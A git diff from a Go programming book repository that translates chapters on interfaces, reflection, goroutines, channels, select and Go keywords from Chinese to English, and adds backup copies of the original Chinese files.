+空interface(interface{})不包含任何的method,正因为如此,所有的类型都实现了空interface。空interface对于描述起不到任何的作用(因为它不包含任何的method),但是空interface在我们需要存储任意类型的数值的时候相当有用,因为它可以存储任意类型的数值。它有点类似于C语言的void*类型。 + + // 定义a为空接口 + var a interface{} + var i int = 5 + s := "Hello world" + // a可以存储任意类型的数值 + a = i + a = s + +一个函数把interface{}作为参数,那么他可以接受任意类型的值作为参数,如果一个函数返回interface{},那么也就可以返回任意类型的值。是不是很有用啊! +### interface函数参数 +interface的变量可以持有任意实现该interface类型的对象,这给我们编写函数(包括method)提供了一些额外的思考,我们是不是可以通过定义interface参数,让函数接受各种类型的参数。 + +举个例子:fmt.Println是我们常用的一个函数,但是你是否注意到它可以接受任意类型的数据。打开fmt的源码文件,你会看到这样一个定义: + + type Stringer interface { + String() string + } +也就是说,任何实现了String方法的类型都能作为参数被fmt.Println调用,让我们来试一试 + + package main + import ( + "fmt" + "strconv" + ) + + type Human struct { + name string + age int + phone string + } + + // 通过这个方法 Human 实现了 fmt.Stringer + func (h Human) String() string { + return "❰"+h.name+" - "+strconv.Itoa(h.age)+" years - ✆ " +h.phone+"❱" + } + + func main() { + Bob := Human{"Bob", 39, "000-7777-XXX"} + fmt.Println("This Human is : ", Bob) + } +现在我们再回顾一下前面的Box示例,你会发现Color结构也定义了一个method:String。其实这也是实现了fmt.Stringer这个interface,即如果需要某个类型能被fmt包以特殊的格式输出,你就必须实现Stringer这个接口。如果没有实现这个接口,fmt将以默认的方式输出。 + + //实现同样的功能 + fmt.Println("The biggest one is", boxes.BiggestsColor().String()) + fmt.Println("The biggest one is", boxes.BiggestsColor()) + +注:实现了error接口的对象(即实现了Error() string的对象),使用fmt输出时,会调用Error()方法,因此不必再定义String()方法了。 +### interface变量存储的类型 + +我们知道interface的变量里面可以存储任意类型的数值(该类型实现了interface)。那么我们怎么反向知道这个变量里面实际保存了的是哪个类型的对象呢?目前常用的有两种方法: + +- Comma-ok断言 + + Go语言里面有一个语法,可以直接判断是否是该类型的变量: value, ok = element.(T),这里value就是变量的值,ok是一个bool类型,element是interface变量,T是断言的类型。 + + 如果element里面确实存储了T类型的数值,那么ok返回true,否则返回false。 + + 让我们通过一个例子来更加深入的理解。 + + package main + + import ( + "fmt" + "strconv" + ) + + type Element interface{} + type List [] Element + + type Person struct { + name string + age int + } + + //定义了String方法,实现了fmt.Stringer + func (p Person) String() string { + return "(name: " + p.name + " - age: "+strconv.Itoa(p.age)+ " years)" + } + + func main() { + list := make(List, 3) + list[0] = 1 // an int + list[1] = "Hello" // a string + list[2] = Person{"Dennis", 70} + + for index, element := range list { + if value, ok := element.(int); ok { + fmt.Printf("list[%d] is an int and its value is %d\n", index, value) + } else if value, ok := element.(string); ok { + fmt.Printf("list[%d] is a string and its value is %s\n", index, value) + } else if value, ok := element.(Person); ok { + fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) + } else { + fmt.Printf("list[%d] is of a different type\n", index) + } + } + } + + 是不是很简单啊,同时你是否注意到了多个if里面,还记得我前面介绍流程时讲过,if里面允许初始化变量。 + + 也许你注意到了,我们断言的类型越多,那么if else也就越多,所以才引出了下面要介绍的switch。 +- switch测试 + + 最好的讲解就是代码例子,现在让我们重写上面的这个实现 + + package main + + import ( + "fmt" + "strconv" + ) + + type Element interface{} + type List [] Element + + type Person struct { + name string + age int + } + + //打印 + func (p Person) String() string { + return "(name: " + p.name + " - age: "+strconv.Itoa(p.age)+ " years)" + } + + func main() { + list := make(List, 3) + list[0] = 1 //an int + list[1] = "Hello" //a string + list[2] = Person{"Dennis", 70} + + for index, element := range list{ + switch value := element.(type) { + case int: + fmt.Printf("list[%d] is an int and its value is %d\n", index, value) + case string: + fmt.Printf("list[%d] is a string and its value is %s\n", index, value) + case Person: + fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) + default: + fmt.Println("list[%d] is of a different type", index) + } + } + } + + 这里有一点需要强调的是:`element.(type)`语法不能在switch外的任何逻辑里面使用,如果你要在switch外面判断一个类型就使用`comma-ok`。 + +### 嵌入interface +Go里面真正吸引人的是它内置的逻辑语法,就像我们在学习Struct时学习的匿名字段,多么的优雅啊,那么相同的逻辑引入到interface里面,那不是更加完美了。如果一个interface1作为interface2的一个嵌入字段,那么interface2隐式的包含了interface1里面的method。 + +我们可以看到源码包container/heap里面有这样的一个定义 + + type Interface interface { + sort.Interface //嵌入字段sort.Interface + Push(x interface{}) //a Push method to push elements into the heap + Pop() interface{} //a Pop elements that pops elements from the heap + } + +我们看到sort.Interface其实就是嵌入字段,把sort.Interface的所有method给隐式的包含进来了。也就是下面三个方法: + + type Interface interface { + // Len is the number of elements in the collection. + Len() int + // Less returns whether the element with index i should sort + // before the element with index j. + Less(i, j int) bool + // Swap swaps the elements with indexes i and j. + Swap(i, j int) + } + +另一个例子就是io包下面的 io.ReadWriter ,它包含了io包下面的Reader和Writer两个interface: + + // io.ReadWriter + type ReadWriter interface { + Reader + Writer + } + +### 反射 +Go语言实现了反射,所谓反射就是能检查程序在运行时的状态。我们一般用到的包是reflect包。如何运用reflect包,官方的这篇文章详细的讲解了reflect包的实现原理,[laws of reflection](http://golang.org/doc/articles/laws_of_reflection.html) + +使用reflect一般分成三步,下面简要的讲解一下:要去反射是一个类型的值(这些值都实现了空interface),首先需要把它转化成reflect对象(reflect.Type或者reflect.Value,根据不同的情况调用不同的函数)。这两种获取方式如下: + + t := reflect.TypeOf(i) //得到类型的元数据,通过t我们能获取类型定义里面的所有元素 + v := reflect.ValueOf(i) //得到实际的值,通过v我们获取存储在里面的值,还可以去改变值 + +转化为reflect对象之后我们就可以进行一些操作了,也就是将reflect对象转化成相应的值,例如 + + tag := t.Elem().Field(0).Tag //获取定义在struct里面的标签 + name := v.Elem().Field(0).String() //获取存储在第一个字段里面的值 + +获取反射值能返回相应的类型和数值 + + var x float64 = 3.4 + v := reflect.ValueOf(x) + fmt.Println("type:", v.Type()) + fmt.Println("kind is float64:", v.Kind() == reflect.Float64) + fmt.Println("value:", v.Float()) + +最后,反射的话,那么反射的字段必须是可修改的,我们前面学习过传值和传引用,这个里面也是一样的道理。反射的字段必须是可读写的意思是,如果下面这样写,那么会发生错误 + + var x float64 = 3.4 + v := reflect.ValueOf(x) + v.SetFloat(7.1) + +如果要修改相应的值,必须这样写 + + var x float64 = 3.4 + p := reflect.ValueOf(&x) + v := p.Elem() + v.SetFloat(7.1) + +上面只是对反射的简单介绍,更深入的理解还需要自己在编程中不断的实践。 + +## links + * [目录]() + * 上一章: [面向对象](<02.5.md>) + * 下一节: [并发](<02.7.md>) diff --git a/en/02.7.md b/en/02.7.md index 7c7fc0b1..dd6ecf52 100644 --- a/en/02.7.md +++ b/en/02.7.md @@ -1,240 +1,242 @@ -# 2.7 并发 - -有人把Go比作21世纪的C语言,第一是因为Go语言设计简单,第二,21世纪最重要的就是并行程序设计,而Go从语言层面就支持了并行。 - -## goroutine - -goroutine是Go并行设计的核心。goroutine说到底其实就是线程,但是它比线程更小,十几个goroutine可能体现在底层就是五六个线程,Go语言内部帮你实现了这些goroutine之间的内存共享。执行goroutine只需极少的栈内存(大概是4~5KB),当然会根据相应的数据伸缩。也正因为如此,可同时运行成千上万个并发任务。goroutine比thread更易用、更高效、更轻便。 - -goroutine是通过Go的runtime管理的一个线程管理器。goroutine通过`go`关键字实现了,其实就是一个普通的函数。 - - go hello(a, b, c) - -通过关键字go就启动了一个goroutine。我们来看一个例子 - - package main - - import ( - "fmt" - "runtime" - ) - - func say(s string) { - for i := 0; i < 5; i++ { - runtime.Gosched() - fmt.Println(s) - } - } - - func main() { - go say("world") //开一个新的Goroutines执行 - say("hello") //当前Goroutines执行 - } - - // 以上程序执行后将输出: - // hello - // world - // hello - // world - // hello - // world - // hello - // world - // hello - -我们可以看到go关键字很方便的就实现了并发编程。 -上面的多个goroutine运行在同一个进程里面,共享内存数据,不过设计上我们要遵循:不要通过共享来通信,而要通过通信来共享。 - -> runtime.Gosched()表示让CPU把时间片让给别人,下次某个时候继续恢复执行该goroutine。 - ->默认情况下,调度器仅使用单线程,也就是说只实现了并发。想要发挥多核处理器的并行,需要在我们的程序中显式调用 runtime.GOMAXPROCS(n) 告诉调度器同时使用多个线程。GOMAXPROCS 设置了同时运行逻辑代码的系统线程的最大数量,并返回之前的设置。如果n < 1,不会改变当前设置。以后Go的新版本中调度得到改进后,这将被移除。这里有一篇Rob介绍的关于并发和并行的文章:http://concur.rspace.googlecode.com/hg/talk/concur.html#landing-slide - -## channels -goroutine运行在相同的地址空间,因此访问共享内存必须做好同步。那么goroutine之间如何进行数据的通信呢,Go提供了一个很好的通信机制channel。channel可以与Unix shell 中的双向管道做类比:可以通过它发送或者接收值。这些值只能是特定的类型:channel类型。定义一个channel时,也需要定义发送到channel的值的类型。注意,必须使用make 创建channel: - - ci := make(chan int) - cs := make(chan string) - cf := make(chan interface{}) - -channel通过操作符`<-`来接收和发送数据 - - ch <- v // 发送v到channel ch. - v := <-ch // 从ch中接收数据,并赋值给v - -我们把这些应用到我们的例子中来: - - package main - - import "fmt" - - func sum(a []int, c chan int) { - total := 0 - for _, v := range a { - total += v - } - c <- total // send total to c - } - - func main() { - a := []int{7, 2, 8, -9, 4, 0} - - c := make(chan int) - go sum(a[:len(a)/2], c) - go sum(a[len(a)/2:], c) - x, y := <-c, <-c // receive from c - - fmt.Println(x, y, x + y) - } - -默认情况下,channel接收和发送数据都是阻塞的,除非另一端已经准备好,这样就使得Goroutines同步变的更加的简单,而不需要显式的lock。所谓阻塞,也就是如果读取(value := <-ch)它将会被阻塞,直到有数据接收。其次,任何发送(ch<-5)将会被阻塞,直到数据被读出。无缓冲channel是在多个goroutine之间同步很棒的工具。 - -## Buffered Channels -上面我们介绍了默认的非缓存类型的channel,不过Go也允许指定channel的缓冲大小,很简单,就是channel可以存储多少元素。ch:= make(chan bool, 4),创建了可以存储4个元素的bool 型channel。在这个channel 中,前4个元素可以无阻塞的写入。当写入第5个元素时,代码将会阻塞,直到其他goroutine从channel 中读取一些元素,腾出空间。 - - ch := make(chan type, value) - -当 value = 0 时,channel 是无缓冲阻塞读写的,当value > 0 时,channel 有缓冲、是非阻塞的,直到写满 value 个元素才阻塞写入。 - -我们看一下下面这个例子,你可以在自己本机测试一下,修改相应的value值 - - - package main - - import "fmt" - - func main() { - c := make(chan int, 2)//修改2为1就报错,修改2为3可以正常运行 - c <- 1 - c <- 2 - fmt.Println(<-c) - fmt.Println(<-c) - } - //修改为1报如下的错误: - //fatal error: all goroutines are asleep - deadlock! - -## Range和Close -上面这个例子中,我们需要读取两次c,这样不是很方便,Go考虑到了这一点,所以也可以通过range,像操作slice或者map一样操作缓存类型的channel,请看下面的例子 - - package main - - import ( - "fmt" - ) - - func fibonacci(n int, c chan int) { - x, y := 1, 1 - for i := 0; i < n; i++ { - c <- x - x, y = y, x + y - } - close(c) - } - - func main() { - c := make(chan int, 10) - go fibonacci(cap(c), c) - for i := range c { - fmt.Println(i) - } - } - -`for i := range c`能够不断的读取channel里面的数据,直到该channel被显式的关闭。上面代码我们看到可以显式的关闭channel,生产者通过内置函数`close`关闭channel。关闭channel之后就无法再发送任何数据了,在消费方可以通过语法`v, ok := <-ch`测试channel是否被关闭。如果ok返回false,那么说明channel已经没有任何数据并且已经被关闭。 - ->记住应该在生产者的地方关闭channel,而不是消费的地方去关闭它,这样容易引起panic - ->另外记住一点的就是channel不像文件之类的,不需要经常去关闭,只有当你确实没有任何发送数据了,或者你想显式的结束range循环之类的 - -## Select -我们上面介绍的都是只有一个channel的情况,那么如果存在多个channel的时候,我们该如何操作呢,Go里面提供了一个关键字`select`,通过`select`可以监听channel上的数据流动。 - -`select`默认是阻塞的,只有当监听的channel中有发送或接收可以进行时才会运行,当多个channel都准备好的时候,select是随机的选择一个执行的。 - - package main - - import "fmt" - - func fibonacci(c, quit chan int) { - x, y := 1, 1 - for { - select { - case c <- x: - x, y = y, x + y - case <-quit: - fmt.Println("quit") - return - } - } - } - - func main() { - c := make(chan int) - quit := make(chan int) - go func() { - for i := 0; i < 10; i++ { - fmt.Println(<-c) - } - quit <- 0 - }() - fibonacci(c, quit) - } - -在`select`里面还有default语法,`select`其实就是类似switch的功能,default就是当监听的channel都没有准备好的时候,默认执行的(select不再阻塞等待channel)。 - - select { - case i := <-c: - // use i - default: - // 当c阻塞的时候执行这里 - } - -## 超时 -有时候会出现goroutine阻塞的情况,那么我们如何避免整个程序进入阻塞的情况呢?我们可以利用select来设置超时,通过如下的方式实现: - - func main() { - c := make(chan int) - o := make(chan bool) - go func() { - for { - select { - case v := <- c: - println(v) - case <- time.After(5 * time.Second): - println("timeout") - o <- true - break - } - } - }() - <- o - } - - -## runtime goroutine -runtime包中有几个处理goroutine的函数: - -- Goexit - - 退出当前执行的goroutine,但是defer函数还会继续调用 - -- Gosched - - 让出当前goroutine的执行权限,调度器安排其他等待的任务运行,并在下次某个时候从该位置恢复执行。 - -- NumCPU - - 返回 CPU 核数量 - -- NumGoroutine - - 返回正在执行和排队的任务总数 - -- GOMAXPROCS - - 用来设置可以并行计算的CPU核数的最大值,并返回之前的值。 - - - -## links - * [目录]() - * 上一章: [interface](<02.6.md>) - * 下一节: [总结](<02.8.md>) +# Concurrency + +It is said that Go is the C language of the 21st century. I think there are two reasons: first, Go is a simple language; second, concurrency is a hot topic in today's world, and Go supports this feature at the language level. + +## goroutine + +goroutines and concurrency are built into the core design of Go. They're similar to threads but work differently. More than a dozen goroutines maybe only have 5 or 6 underlying threads. Go also gives you full support to sharing memory in your goroutines. One goroutine usually uses 4~5 KB of stack memory. Therefore, it's not hard to run thousands of goroutines on a single computer. A goroutine is more lightweight, more efficient and more convenient than system threads. + +goroutines run on the thread manager at runtime in Go. We use the `go` keyword to create a new goroutine, which is a function at the underlying level ( ***main() is a goroutine*** ). + + go hello(a, b, c) + +Let's see an example. + + package main + + import ( + "fmt" + "runtime" + ) + + func say(s string) { + for i := 0; i < 5; i++ { + runtime.Gosched() + fmt.Println(s) + } + } + + func main() { + go say("world") // create a new goroutine + say("hello") // current goroutine + } + +Output: + + hello + world + hello + world + hello + world + hello + world + hello + +We see that it's very easy to use concurrency in Go by using the keyword `go`. In the above example, these two goroutines share some memory, but we would better off following the design recipe: Don't use shared data to communicate, use communication to share data. + +runtime.Gosched() means let the CPU execute other goroutines, and come back at some point. + +The scheduler only uses one thread to run all goroutines, which means it only implements concurrency. If you want to use more CPU cores in order to take advantage of parallel processing, you have to call runtime.GOMAXPROCS(n) to set the number of cores you want to use. If `n<1`, it changes nothing. This function may be removed in the future, see more details about parallel processing and concurrency in this [article](http://concur.rspace.googlecode.com/hg/talk/concur.html#landing-slide). + +## channels + +goroutines run in the same memory address space, so you have to maintain synchronization when you want to access shared memory. How do you communicate between different goroutines? Go uses a very good communication mechanism called `channel`. `channel` is like a two-way pipeline in Unix shells: use `channel` to send or receive data. The only data type that can be used in channels is the type `channel` and the keyword `chan`. Be aware that you have to use `make` to create a new `channel`. + + ci := make(chan int) + cs := make(chan string) + cf := make(chan interface{}) + +channel uses the operator `<-` to send or receive data. + + ch <- v // send v to channel ch. + v := <-ch // receive data from ch, and assign to v + +Let's see more examples. + + package main + + import "fmt" + + func sum(a []int, c chan int) { + total := 0 + for _, v := range a { + total += v + } + c <- total // send total to c + } + + func main() { + a := []int{7, 2, 8, -9, 4, 0} + + c := make(chan int) + go sum(a[:len(a)/2], c) + go sum(a[len(a)/2:], c) + x, y := <-c, <-c // receive from c + + fmt.Println(x, y, x + y) + } + +Sending and receiving data in channels blocks by default, so it's much easier to use synchronous goroutines. What I mean by block is that a goroutine will not continue when receiving data from an empty channel, i.e (`value := <-ch`), until other goroutines send data to this channel. On the other hand, the goroutine will not continue until the data it sends to a channel, i.e (`ch<-5`), is received. + +## Buffered channels + +I introduced non-buffered channels above. Go also has buffered channels that can store more than a single element. For example, `ch := make(chan bool, 4)`, here we create a channel that can store 4 boolean elements. So in this channel, we are able to send 4 elements into it without blocking, but the goroutine will be blocked when you try to send a fifth element and no goroutine receives it. + + ch := make(chan type, n) + + n == 0 ! non-buffer(block) + n > 0 ! buffer(non-block until n elements in the channel) + +You can try the following code on your computer and change some values. + + package main + + import "fmt" + + func main() { + c := make(chan int, 2) // change 2 to 1 will have runtime error, but 3 is fine + c <- 1 + c <- 2 + fmt.Println(<-c) + fmt.Println(<-c) + } + +## Range and Close + +We can use range to operate on buffer channels as in slice and map. + + package main + + import ( + "fmt" + ) + + func fibonacci(n int, c chan int) { + x, y := 1, 1 + for i := 0; i < n; i++ { + c <- x + x, y = y, x + y + } + close(c) + } + + func main() { + c := make(chan int, 10) + go fibonacci(cap(c), c) + for i := range c { + fmt.Println(i) + } + } + +`for i := range c` will not stop reading data from channel until the channel is closed. We use the keyword `close` to close the channel in above example. It's impossible to send or receive data on a closed channel; you can use `v, ok := <-ch` to test if a channel is closed. If `ok` returns false, it means the there is no data in that channel and it was closed. + +Remember to always close channels in producers and not in consumers, or it's very easy to get into panic status. + +Another thing you need to remember is that channels are not like files. You don't have to close them frequently unless you are sure the channel is completely useless, or you want to exit range loops. + +## Select + +In the above examples, we only use one channel, but how can we deal with more than one channel? Go has a keyword called `select` to listen to many channels. + +`select` is blocking by default and it continues to execute only when one of channels has data to send or receive. If several channels are ready to use at the same time, select chooses which to execute randomly. + + package main + + import "fmt" + + func fibonacci(c, quit chan int) { + x, y := 1, 1 + for { + select { + case c <- x: + x, y = y, x + y + case <-quit: + fmt.Println("quit") + return + } + } + } + + func main() { + c := make(chan int) + quit := make(chan int) + go func() { + for i := 0; i < 10; i++ { + fmt.Println(<-c) + } + quit <- 0 + }() + fibonacci(c, quit) + } + +`select` has a `default` case as well, just like `switch`. When all the channels are not ready for use, it executes the default case (it doesn't wait for the channel anymore). + + select { + case i := <-c: + // use i + default: + // executes here when c is blocked + } + +## Timeout + +Sometimes a goroutine becomes blocked. How can we avoid this to prevent the whole program from blocking? It's simple, we can set a timeout in the select. + + func main() { + c := make(chan int) + o := make(chan bool) + go func() { + for { + select { + case v := <- c: + println(v) + case <- time.After(5 * time.Second): + println("timeout") + o <- true + break + } + } + }() + <- o + } + +## Runtime goroutine + +The package `runtime` has some functions for dealing with goroutines. + +- `runtime.Goexit()` + + Exits the current goroutine, but defered functions will be executed as usual. + +- `runtime.Gosched()` + + Lets the scheduler execute other goroutines and comes back at some point. + +- `runtime.NumCPU() int` + + Returns the number of CPU cores + +- `runtime.NumGoroutine() int` + + Returns the number of goroutines + +- `runtime.GOMAXPROCS(n int) int` + + Sets how many CPU cores you want to use + +## Links + +- [Directory](preface.md) +- Previous section: [interface](02.6.md) +- Next section: [Summary](02.8.md) diff --git a/en/02.7.md~380a8ee74c41759d8189ad553423467994187253 b/en/02.7.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..11a171f2 --- /dev/null +++ b/en/02.7.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,240 @@ +# 2.7 并发 + +有人把Go比作21世纪的C语言,第一是因为Go语言设计简单,第二,21世纪最重要的就是并行程序设计,而Go从语言层面就支持了并行。 + +## goroutine + +goroutine是Go并行设计的核心。goroutine说到底其实就是线程,但是它比线程更小,十几个goroutine可能体现在底层就是五六个线程,Go语言内部帮你实现了这些goroutine之间的内存共享。执行goroutine只需极少的栈内存(大概是4~5KB),当然会根据相应的数据伸缩。也正因为如此,可同时运行成千上万个并发任务。goroutine比thread更易用、更高效、更轻便。 + +goroutine是通过Go的runtime管理的一个线程管理器。goroutine通过`go`关键字实现了,其实就是一个普通的函数。 + + go hello(a, b, c) + +通过关键字go就启动了一个goroutine。我们来看一个例子 + + package main + + import ( + "fmt" + "runtime" + ) + + func say(s string) { + for i := 0; i < 5; i++ { + runtime.Gosched() + fmt.Println(s) + } + } + + func main() { + go say("world") //开一个新的Goroutines执行 + say("hello") //当前Goroutines执行 + } + + // 以上程序执行后将输出: + // hello + // world + // hello + // world + // hello + // world + // hello + // world + // hello + +我们可以看到go关键字很方便的就实现了并发编程。 +上面的多个goroutine运行在同一个进程里面,共享内存数据,不过设计上我们要遵循:不要通过共享来通信,而要通过通信来共享。 + +> runtime.Gosched()表示让CPU把时间片让给别人,下次某个时候继续恢复执行该goroutine。 + +>默认情况下,调度器仅使用单线程,也就是说只实现了并发。想要发挥多核处理器的并行,需要在我们的程序中显式调用 runtime.GOMAXPROCS(n) 告诉调度器同时使用多个线程。GOMAXPROCS 设置了同时运行逻辑代码的系统线程的最大数量,并返回之前的设置。如果n < 1,不会改变当前设置。以后Go的新版本中调度得到改进后,这将被移除。这里有一篇Rob介绍的关于并发和并行的文章:http://concur.rspace.googlecode.com/hg/talk/concur.html#landing-slide + +## channels +goroutine运行在相同的地址空间,因此访问共享内存必须做好同步。那么goroutine之间如何进行数据的通信呢,Go提供了一个很好的通信机制channel。channel可以与Unix shell 中的双向管道做类比:可以通过它发送或者接收值。这些值只能是特定的类型:channel类型。定义一个channel时,也需要定义发送到channel的值的类型。注意,必须使用make 创建channel: + + ci := make(chan int) + cs := make(chan string) + cf := make(chan interface{}) + +channel通过操作符`<-`来接收和发送数据 + + ch <- v // 发送v到channel ch. + v := <-ch // 从ch中接收数据,并赋值给v + +我们把这些应用到我们的例子中来: + + package main + + import "fmt" + + func sum(a []int, c chan int) { + total := 0 + for _, v := range a { + total += v + } + c <- total // send total to c + } + + func main() { + a := []int{7, 2, 8, -9, 4, 0} + + c := make(chan int) + go sum(a[:len(a)/2], c) + go sum(a[len(a)/2:], c) + x, y := <-c, <-c // receive from c + + fmt.Println(x, y, x + y) + } + +默认情况下,channel接收和发送数据都是阻塞的,除非另一端已经准备好,这样就使得Goroutines同步变的更加的简单,而不需要显式的lock。所谓阻塞,也就是如果读取(value := <-ch)它将会被阻塞,直到有数据接收。其次,任何发送(ch<-5)将会被阻塞,直到数据被读出。无缓冲channel是在多个goroutine之间同步很棒的工具。 + +## Buffered Channels +上面我们介绍了默认的非缓存类型的channel,不过Go也允许指定channel的缓冲大小,很简单,就是channel可以存储多少元素。ch:= make(chan bool, 4),创建了可以存储4个元素的bool 型channel。在这个channel 中,前4个元素可以无阻塞的写入。当写入第5个元素时,代码将会阻塞,直到其他goroutine从channel 中读取一些元素,腾出空间。 + + ch := make(chan type, value) + +当 value = 0 时,channel 是无缓冲阻塞读写的,当value > 0 时,channel 有缓冲、是非阻塞的,直到写满 value 个元素才阻塞写入。 + +我们看一下下面这个例子,你可以在自己本机测试一下,修改相应的value值 + + + package main + + import "fmt" + + func main() { + c := make(chan int, 2)//修改2为1就报错,修改2为3可以正常运行 + c <- 1 + c <- 2 + fmt.Println(<-c) + fmt.Println(<-c) + } + //修改为1报如下的错误: + //fatal error: all goroutines are asleep - deadlock! + +## Range和Close +上面这个例子中,我们需要读取两次c,这样不是很方便,Go考虑到了这一点,所以也可以通过range,像操作slice或者map一样操作缓存类型的channel,请看下面的例子 + + package main + + import ( + "fmt" + ) + + func fibonacci(n int, c chan int) { + x, y := 1, 1 + for i := 0; i < n; i++ { + c <- x + x, y = y, x + y + } + close(c) + } + + func main() { + c := make(chan int, 10) + go fibonacci(cap(c), c) + for i := range c { + fmt.Println(i) + } + } + +`for i := range c`能够不断的读取channel里面的数据,直到该channel被显式的关闭。上面代码我们看到可以显式的关闭channel,生产者通过内置函数`close`关闭channel。关闭channel之后就无法再发送任何数据了,在消费方可以通过语法`v, ok := <-ch`测试channel是否被关闭。如果ok返回false,那么说明channel已经没有任何数据并且已经被关闭。 + +>记住应该在生产者的地方关闭channel,而不是消费的地方去关闭它,这样容易引起panic + +>另外记住一点的就是channel不像文件之类的,不需要经常去关闭,只有当你确实没有任何发送数据了,或者你想显式的结束range循环之类的 + +## Select +我们上面介绍的都是只有一个channel的情况,那么如果存在多个channel的时候,我们该如何操作呢,Go里面提供了一个关键字`select`,通过`select`可以监听channel上的数据流动。 + +`select`默认是阻塞的,只有当监听的channel中有发送或接收可以进行时才会运行,当多个channel都准备好的时候,select是随机的选择一个执行的。 + + package main + + import "fmt" + + func fibonacci(c, quit chan int) { + x, y := 1, 1 + for { + select { + case c <- x: + x, y = y, x + y + case <-quit: + fmt.Println("quit") + return + } + } + } + + func main() { + c := make(chan int) + quit := make(chan int) + go func() { + for i := 0; i < 10; i++ { + fmt.Println(<-c) + } + quit <- 0 + }() + fibonacci(c, quit) + } + +在`select`里面还有default语法,`select`其实就是类似switch的功能,default就是当监听的channel都没有准备好的时候,默认执行的(select不再阻塞等待channel)。 + + select { + case i := <-c: + // use i + default: + // 当c阻塞的时候执行这里 + } + +## 超时 +有时候会出现goroutine阻塞的情况,那么我们如何避免整个程序进入阻塞的情况呢?我们可以利用select来设置超时,通过如下的方式实现: + + func main() { + c := make(chan int) + o := make(chan bool) + go func() { + for { + select { + case v := <- c: + println(v) + case <- time.After(5 * time.Second): + println("timeout") + o <- true + break + } + } + }() + <- o + } + + +## runtime goroutine +runtime包中有几个处理goroutine的函数: + +- Goexit + + 退出当前执行的goroutine,但是defer函数还会继续调用 + +- Gosched + + 让出当前goroutine的执行权限,调度器安排其他等待的任务运行,并在下次某个时候从该位置恢复执行。 + +- NumCPU + + 返回 CPU 核数量 + +- NumGoroutine + + 返回正在执行和排队的任务总数 + +- GOMAXPROCS + + 用来设置可以并行计算的CPU核数的最大值,并返回之前的值。 + + + +## links + * [目录]() + * 上一章: [interface](<02.6.md>) + * 下一节: [总结](<02.8.md>) diff --git a/en/02.8.md b/en/02.8.md index 6ec9fa1d..b1306758 100644 --- a/en/02.8.md +++ b/en/02.8.md @@ -1,31 +1,32 @@ -# 2.8 总结 - -这一章我们主要介绍了Go语言的一些语法,通过语法我们可以发现Go是多么的简单,只有二十五个关键字。让我们再来回顾一下这些关键字都是用来干什么的。 - - break default func interface select - case defer go map struct - chan else goto package switch - const fallthrough if range type - continue for import return var - -- var和const参考2.2Go语言基础里面的变量和常量申明 -- package和import已经有过短暂的接触 -- func 用于定义函数和方法 -- return 用于从函数返回 -- defer 用于类似析构函数 -- go 用于并发 -- select 用于选择不同类型的通讯 -- interface 用于定义接口,参考2.6小节 -- struct 用于定义抽象数据类型,参考2.5小节 -- break、case、continue、for、fallthrough、else、if、switch、goto、default这些参考2.3流程介绍里面 -- chan用于channel通讯 -- type用于声明自定义类型 -- map用于声明map类型数据 -- range用于读取slice、map、channel数据 - -上面这二十五个关键字记住了,那么Go你也已经差不多学会了。 - -## links - * [目录]() - * 上一节: [并发](<02.7.md>) - * 下一章: [Web基础](<03.0.md>) +# 2.8 Summary + +In this chapter, we mainly introduced the 25 Go keywords. Let's review what they are and what they do. + + break default func interface select + case defer go map struct + chan else goto package switch + const fallthrough if range type + continue for import return var + +- `var` and `const` are used to define variables and constants. +- `package` and `import` are for package use. +- `func` is used to define functions and methods. +- `return` is used to return values in functions or methods. +- `defer` is used to define defer functions. +- `go` is used to start a new goroutine. +- `select` is used to switch over multiple channels for communication. +- `interface` is used to define interfaces. +- `struct` is used to define special customized types. +- `break`, `case`, `continue`, `for`, `fallthrough`, `else`, `if`, `switch`, `goto` and `default` were introduced in section 2.3. +- `chan` is the type of channel for communication among goroutines. +- `type` is used to define customized types. +- `map` is used to define map which is similar to hash tables in other languages. +- `range` is used for reading data from `slice`, `map` and `channel`. + +If you understand how to use these 25 keywords, you've learned a lot of Go already. + +## Links + +- [Directory](preface.md) +- Previous section: [Concurrency](02.7.md) +- Next chapter: [Web foundation](03.0.md) diff --git a/en/02.8.md~380a8ee74c41759d8189ad553423467994187253 b/en/02.8.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..a0ec6bb9 --- /dev/null +++ b/en/02.8.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,31 @@ +# 2.8 总结 + +这一章我们主要介绍了Go语言的一些语法,通过语法我们可以发现Go是多么的简单,只有二十五个关键字。让我们再来回顾一下这些关键字都是用来干什么的。 + + break default func interface select + case defer go map struct + chan else goto package switch + const fallthrough if range type + continue for import return var + +- var和const参考2.2Go语言基础里面的变量和常量申明 +- package和import已经有过短暂的接触 +- func 用于定义函数和方法 +- return 用于从函数返回 +- defer 用于类似析构函数 +- go 用于并发 +- select 用于选择不同类型的通讯 +- interface 用于定义接口,参考2.6小节 +- struct 用于定义抽象数据类型,参考2.5小节 +- break、case、continue、for、fallthrough、else、if、switch、goto、default这些参考2.3流程介绍里面 +- chan用于channel通讯 +- type用于声明自定义类型 +- map用于声明map类型数据 +- range用于读取slice、map、channel数据 + +上面这二十五个关键字记住了,那么Go你也已经差不多学会了。 + +## links + * [目录]() + * 上一节: [并发](<02.7.md>) + * 下一章: [Web基础](<03.0.md>) diff --git a/en/03.0.md b/en/03.0.md index 9d429bf9..ca192cff 100644 --- a/en/03.0.md +++ b/en/03.0.md @@ -1,11 +1,9 @@ -# 3 Web基础 - -学习基于Web的编程可能正是你读本书的原因。事实上,如何通过Go来编写Web应用也是我编写这本书的初衷。前面已经介绍过,Go目前已经拥有了成熟的HTTP处理包,这使得编写能做任何事情的动态Web程序易如反掌。在接下来的各章中将要介绍的内容,都是属于Web编程的范畴。本章则集中讨论一些与Web相关的概念和Go如何运行Web程序的话题。 - -## 目录 -![](images/navi3.png?raw=true) - -## links - * [目录]() - * 上一章: [第二章总结](<02.8.md>) - * 下一节: [Web工作方式](<03.1.md>) +#3 Web foundation + +The reason you are reading this book is that you want to learn to build web applications in Go. As i've said before, Go provides many powerful packages like `http`. These packages can help you a lot when trying to build web applications. I'll teach you everything you need to know in the following chapters, and we'll talk about some concepts of the web and how to run web applications in Go in this chapter. + +## Links + +- [Directory](preface.md) +- Previous chapter: [Chapter 2 Summary](02.8.md) +- Next section: [Web working principles](03.1.md) diff --git 